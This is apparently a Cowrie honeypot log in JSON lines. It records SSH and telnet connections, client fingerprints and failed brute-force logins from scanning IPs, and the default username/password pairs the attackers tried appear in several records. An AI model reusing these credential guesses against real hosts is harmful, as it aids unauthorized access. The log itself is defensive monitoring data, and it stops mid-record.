{"eventid":"cowrie.session.closed","duration":30.997353315353394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:26.621715Z","src_ip":"95.217.230.214","session":"8c6260ac0f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8ceea850859","protocol":"ssh","message":"New connection: 192.109.200.78:36046 (10.17.0.5:22) [session: b8ceea850859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:26.778802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:26.785708Z","src_ip":"192.109.200.78","session":"b8ceea850859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:26.868763Z","src_ip":"192.109.200.78","session":"b8ceea850859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:27.121952Z","src_ip":"192.109.200.78","session":"b8ceea850859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:28.208217Z","src_ip":"192.109.200.78","session":"b8ceea850859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47374,"dst_ip":"10.17.0.5","dst_port":22,"session":"88bf0314511b","protocol":"ssh","message":"New connection: 192.109.200.78:47374 (10.17.0.5:22) [session: 88bf0314511b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:30.941749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:30.946787Z","src_ip":"192.109.200.78","session":"88bf0314511b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.853981256484985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:31.025888Z","src_ip":"69.60.120.238","session":"161801371a54","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:31.033409Z","src_ip":"192.109.200.78","session":"88bf0314511b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:31.293517Z","src_ip":"192.109.200.78","session":"88bf0314511b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:32.381799Z","src_ip":"192.109.200.78","session":"88bf0314511b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76111900754","protocol":"ssh","message":"New connection: 192.109.200.78:47380 (10.17.0.5:22) [session: c76111900754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:35.023778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:35.035566Z","src_ip":"192.109.200.78","session":"c76111900754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:35.106040Z","src_ip":"192.109.200.78","session":"c76111900754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:35.428371Z","src_ip":"192.109.200.78","session":"c76111900754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.972432851791382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:36.027058Z","src_ip":"157.250.199.120","session":"45f755a8e1c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:36.513708Z","src_ip":"192.109.200.78","session":"c76111900754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57048,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f72e567d15","protocol":"ssh","message":"New connection: 192.109.200.78:57048 (10.17.0.5:22) [session: 42f72e567d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:39.097767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:39.102151Z","src_ip":"192.109.200.78","session":"42f72e567d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:39.190791Z","src_ip":"192.109.200.78","session":"42f72e567d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:39.591942Z","src_ip":"192.109.200.78","session":"42f72e567d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91435480117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:40.118449Z","src_ip":"69.60.120.238","session":"f478bafa15fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:40.681193Z","src_ip":"192.109.200.78","session":"42f72e567d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57056,"dst_ip":"10.17.0.5","dst_port":22,"session":"4560dbfcb68d","protocol":"ssh","message":"New connection: 192.109.200.78:57056 (10.17.0.5:22) [session: 4560dbfcb68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:43.326042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:43.329862Z","src_ip":"192.109.200.78","session":"4560dbfcb68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:43.412344Z","src_ip":"192.109.200.78","session":"4560dbfcb68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:43.661191Z","src_ip":"192.109.200.78","session":"4560dbfcb68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:44.745326Z","src_ip":"192.109.200.78","session":"4560dbfcb68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57066,"dst_ip":"10.17.0.5","dst_port":22,"session":"3159036d72ab","protocol":"ssh","message":"New connection: 192.109.200.78:57066 (10.17.0.5:22) [session: 3159036d72ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:47.517202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:47.524690Z","src_ip":"192.109.200.78","session":"3159036d72ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:47.601206Z","src_ip":"192.109.200.78","session":"3159036d72ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:47.928264Z","src_ip":"192.109.200.78","session":"3159036d72ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.017558Z","src_ip":"192.109.200.78","session":"3159036d72ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48708,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0a5e3439f9a","protocol":"ssh","message":"New connection: 159.203.92.129:48708 (159.203.135.109:22) [session: f0a5e3439f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.747700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.752032Z","src_ip":"159.203.92.129","session":"f0a5e3439f9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.761391Z","src_ip":"159.203.92.129","session":"f0a5e3439f9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"QAZ2wsx","message":"login attempt [admin/QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.834893Z","src_ip":"159.203.92.129","session":"f0a5e3439f9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":54536,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d49846257a3","protocol":"telnet","message":"New connection: 66.113.160.81:54536 (159.203.135.109:23) [session: 7d49846257a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:49.911851Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:50.843013Z","src_ip":"159.203.92.129","session":"f0a5e3439f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39301085472107,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:51.409818Z","src_ip":"5.42.229.203","session":"46e984f19f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.437485456466675,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:51.414281Z","src_ip":"5.42.229.203","session":"907a486521e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad4f5b801a8","protocol":"ssh","message":"New connection: 192.109.200.78:57078 (10.17.0.5:22) [session: 7ad4f5b801a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:51.707274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:51.713962Z","src_ip":"192.109.200.78","session":"7ad4f5b801a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"me